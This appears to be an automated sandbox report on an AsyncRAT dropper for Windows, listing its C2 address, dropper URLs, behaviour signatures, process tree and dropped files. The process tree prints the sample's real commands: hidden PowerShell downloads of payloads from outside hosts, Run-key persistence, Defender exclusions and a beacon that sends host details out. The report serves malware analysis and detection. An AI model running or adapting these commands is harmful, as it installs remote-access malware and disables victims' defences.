Overview

overview

10

Static

static

3

d86efeddd0...d0.exe

windows10-2004-x64

10

d86efeddd0...d0.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/07/2026, 16:51

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe
  • Size 534KB
  • Sample260702-vc2grsfs9l
  • SHA256 d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adware5 nowdefense_evasiondiscoveryexecutionasyncratpersistenceratspyware

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://rdpftpower.com/ftpower/ftpower2/ftpower.bat

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://calculadorazt.com/contador1/actualizador.vbs

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://calculadorazt.com/contador1/miapp.exe

Extracted

Family

  • asyncrat

Version

  • 1.0.7

Botnet

  • 5 NoW

C2

  • 146.70.49.42:7080

Mutex

  • ygjgykgjftjtyurtsgjgdhsiufsgefukuejs

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe
    "C:\Users\Admin\AppData\Local\Temp\d86efeddd08c9588dc0981be08ab977eaa2bbd4e5c240277965f34ba4bca01d0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4940
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\ftpower2\instalador_ftpower.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs' -OutFile 'C:\ProgramData\pcsftpower2\autoejecutor.vbs' -UseBasicParsing -TimeoutSec 30 } catch { (New-Object System.Net.WebClient).DownloadFile('http://rdpftpower.com/ftpower/ftpower2/autoejecutor.vbs','C:\ProgramData\pcsftpower2\autoejecutor.vbs') }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5728
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'http://rdpftpower.com/ftpower/ftpower2/ftpower.bat' -OutFile 'C:\ProgramData\pcsftpower2\ftpower.bat' -UseBasicParsing -TimeoutSec 30 } catch { (New-Object System.Net.WebClient).DownloadFile('http://rdpftpower.com/ftpower/ftpower2/ftpower.bat','C:\ProgramData\pcsftpower2\ftpower.bat') }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5164
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinSvcHost32" /t REG_SZ /d "wscript.exe \"C:\ProgramData\pcsftpower2\autoejecutor.vbs\"" /f
        3⤵
        • Adds Run key to start application
        PID:2908
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\pcsftpower2' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1712
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinSvcHost32" /t REG_SZ /d "wscript.exe \"C:\ProgramData\ftpower2\autoejecutor.vbs\"" /f
        3⤵
        • Adds Run key to start application
        PID:3964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ftpower2' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3364
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ftpower2\Admin' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$os=[uri]::EscapeDataString((Get-WmiObject Win32_OperatingSystem).Caption); $url='https://calculadorazt.com/contador1/registro.php?pc=NGJFEOVF&user=Admin&ip=local&os='+$os+'&instalado=0'; Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 10"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:6064
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM miapp.exe
        3⤵
        • Kills process with taskkill
        PID:1400
      • C:\Windows\system32\timeout.exe
        timeout /t 1 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:2948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'https://calculadorazt.com/contador1/actualizador.vbs' -OutFile 'C:\ProgramData\ftpower2\Admin\actualizador.vbs' -UseBasicParsing -TimeoutSec 30 } catch { try { (New-Object System.Net.WebClient).DownloadFile('https://calculadorazt.com/contador1/actualizador.vbs','C:\ProgramData\ftpower2\Admin\actualizador.vbs') } catch {} }"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2580
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Invoke-WebRequest -Uri 'https://calculadorazt.com/contador1/miapp.exe' -OutFile 'C:\ProgramData\ftpower2\Admin\miapp.exe' -UseBasicParsing -TimeoutSec 30 } catch { try { (New-Object System.Net.WebClient).DownloadFile('https://calculadorazt.com/contador1/miapp.exe','C:\ProgramData\ftpower2\Admin\miapp.exe') } catch {} }"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1784
      • C:\ProgramData\ftpower2\Admin\miapp.exe
        "C:\ProgramData\ftpower2\Admin\miapp.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:4356
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jlxm.vbe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5916
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c ipconfig /release
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1612
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /release
              6⤵
              • System Location Discovery: System Language Discovery
              • Gathers network information
              PID:2896
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c icahaddhlb.dll lrguhc.xls
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4928
            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\icahaddhlb.dll
              icahaddhlb.dll lrguhc.xls
              6⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:3272
              • C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe
                "C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4176
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c ipconfig /renew
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1016
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /renew
              6⤵
              • System Location Discovery: System Language Discovery
              • Gathers network information
              PID:3448
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:5352
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    PID:3492
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5736

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        miapp.exe
        • Path C:\ProgramData\ftpower2\Admin\miapp.exe
        • Size 990KB
        • SHA256 ec67694d1ebc40146e45b20309465a29caeccd10046356357a2c0659b67be0c3
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        instalador_ftpower.bat
        • Path C:\ProgramData\ftpower2\instalador_ftpower.bat
        • Size 3KB
        • SHA256 57f5f9c6fe94f7f598bc010cbc8a1fe1169962b524f28463272e044bd43d17b6
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 452eb598b2884fd99242cb5db005e3ac8e31bc9e3d58fe88ad0dd79ba08fbfd1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 2d33ad1da7155c6eb6c449dc3f332e0620cc6bc62a4d7867f376dacfbd325d82
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d71e314221c8f6bf077410edd775afb46169596aa195666c6bd75132a597c31f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 93de6a0da32b834563f75b8c94b50fc1688d806718d17a4d0b84595a34deb1bd
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a1e574b74444f70adb421b99216f860855b89c456c180e5ba7b77eaad249ed33
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        dmwjfaehbh.dll
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\dmwjfaehbh.dll
        • Size 572B
        • SHA256 6277afd33ad44ed2b3b76f01a396f37b365821d1641ecc166199a8821e5e426f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        gskk.mp3
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\gskk.mp3
        • Size 532B
        • SHA256 471409bec2d23de1dfc50f99871ef12b8cec77fbb7928434cd08826c6a553b22
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        hgiupvlps.icm
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\hgiupvlps.icm
        • Size 605B
        • SHA256 f5cf07dcc6476ee15d3bc384ce124698bd888758e3738c492ca13a67e613f6b8
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        hoeqs.jpg
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\hoeqs.jpg
        • Size 598B
        • SHA256 8d5743d64816bc9c544f591b94451d952627647d03e7897f3424ea442e83705c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        icahaddhlb.dll
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\icahaddhlb.dll
        • Size 925KB
        • SHA256 98e4f904f7de1644e519d09371b8afcbbf40ff3bd56d76ce4df48479a4ab884b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        jlxm.vbe
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\jlxm.vbe
        • Size 238KB
        • SHA256 ac78c866b1712104ee1330d9c36a43762c845ab447b29ffcb3e11ea79bd280af
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        kurgaxauh.icm
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\kurgaxauh.icm
        • Size 533B
        • SHA256 6346dee0eff5eaa131eb2d566461422d1ccff7b4aed3ae6f2cc4884d3ac813d4
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        leijwvdx.3gp
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\leijwvdx.3gp
        • Size 586B
        • SHA256 de5c8a83d4b2e476c134c6d2b233f16ca9e29990298f98e8b641641ce3a47e09
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        lxdv.msc
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\lxdv.msc
        • Size 553B
        • SHA256 478df5e8dc3bdabf0ca752fe762e9b1d786e166c0f99dde894dab0787bbad8eb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        midhojdvwp.cgx
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\midhojdvwp.cgx
        • Size 79KB
        • SHA256 71753ee25eada12c43bb804fa40e41ffe5dcd5ab3ee68b5b62b038c749cc2eb6
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        nmvspdv.docx
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\nmvspdv.docx
        • Size 603B
        • SHA256 13d86b30700d805ecd73e829d6b61019afdd70877ab878936101a97847109122
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        oicwatibre.msc
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\oicwatibre.msc
        • Size 613B
        • SHA256 e00317a544a62d16b76f5e23263fdfc1095ffa25fb9e0fc72a7e4bfd22ad75f7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ueeu.msc
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\ueeu.msc
        • Size 627B
        • SHA256 aecd809a88479e5c3a907e31ab705a986ccb2a656a678e0c66d90f78e8d4e386
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ugvqx.ppt
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\ugvqx.ppt
        • Size 521B
        • SHA256 aacd9a62035f37d7b445f06c3d594c0020f4d0b1817e15be749ae242e9d98cdb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        uodoo.docx
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\uodoo.docx
        • Size 602B
        • SHA256 bdb1a45a5f1158489117b9db3a893b2be66a4c583f406422a54fde77ae1b2c04
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        vaaqbgigf.mp3
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\vaaqbgigf.mp3
        • Size 34KB
        • SHA256 24820f29d6f71fc6846549cd9343a915b02f51ca68ae9e8df5e51d49dacb8bbc
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        vaaqbgigf.mp3
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\vaaqbgigf.mp3
        • Size 34KB
        • SHA256 6013728886de8407575dc6396538695e1766676a4c1eee9bd677237dec2491b1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        wfsuuwbf.docx
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\wfsuuwbf.docx
        • Size 590B
        • SHA256 16820ef7d627eff7a864a675fc5db5cec9618800b703a4c1c7093f0da03526bc
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        xgqioxw.icm
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\xgqioxw.icm
        • Size 583B
        • SHA256 11d63e28afe7c8218170b9cd79712551592f5d667f16af7ae61104a9237b6c19
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        xjhpkoeu.mp2
        • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\xjhpkoeu.mp2
        • Size 577B
        • SHA256 d7b16173142dc1d29eae1c9b9b851ee9694c9461d9659d2bce84672827fef9de
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        RegSvcs.exe
        • Path C:\Users\Admin\AppData\Local\Temp\RegSvcs.exe
        • Size 38KB
        • SHA256 083bc9319eb8066131b8005dd7013f85f2a27c7908767f94183d3e153b8db12b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_2511nhih.me1.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2511nhih.me1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1712-36-0x00000204AA5A0000-0x00000204AA652000-memory.dmp
        Download

        memory/1712-35-0x0000020492410000-0x000002049242E000-memory.dmp
        Download

        memory/1712-37-0x00000204923B0000-0x00000204923BA000-memory.dmp
        Download

        memory/3364-44-0x000001D175020000-0x000001D1750D2000-memory.dmp
        Download

        memory/4176-306-0x0000000000570000-0x0000000000C87000-memory.dmp
        Download

        memory/4176-308-0x0000000000570000-0x0000000000582000-memory.dmp
        Download

        memory/4176-310-0x0000000005A50000-0x0000000005AEC000-memory.dmp
        Download

        memory/4176-311-0x00000000060B0000-0x000000000666A000-memory.dmp
        Download

        memory/4176-312-0x0000000005B60000-0x0000000005BC6000-memory.dmp
        Download

        memory/5728-24-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-16-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-8-0x00007FFFD942F000-0x00007FFFD9430000-memory.dmp
        Download

        memory/5728-9-0x0000013C95820000-0x0000013C95842000-memory.dmp
        Download

        memory/5728-12-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-13-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-25-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-22-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-21-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-20-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-19-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-18-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-17-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-14-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5728-15-0x00007FFFD92A0000-0x00007FFFD9C44000-memory.dmp
        Download

        memory/5736-73-0x000001EC83930000-0x000001EC83950000-memory.dmp
        Download

        memory/5736-61-0x000001EC801E0000-0x000001EC802E0000-memory.dmp
        Download

        memory/5736-75-0x000001EC93E90000-0x000001EC93F90000-memory.dmp
        Download

        memory/5736-106-0x000001EC94210000-0x000001EC94230000-memory.dmp
        Download

        memory/5736-92-0x000001EC83E10000-0x000001EC83E30000-memory.dmp
        Download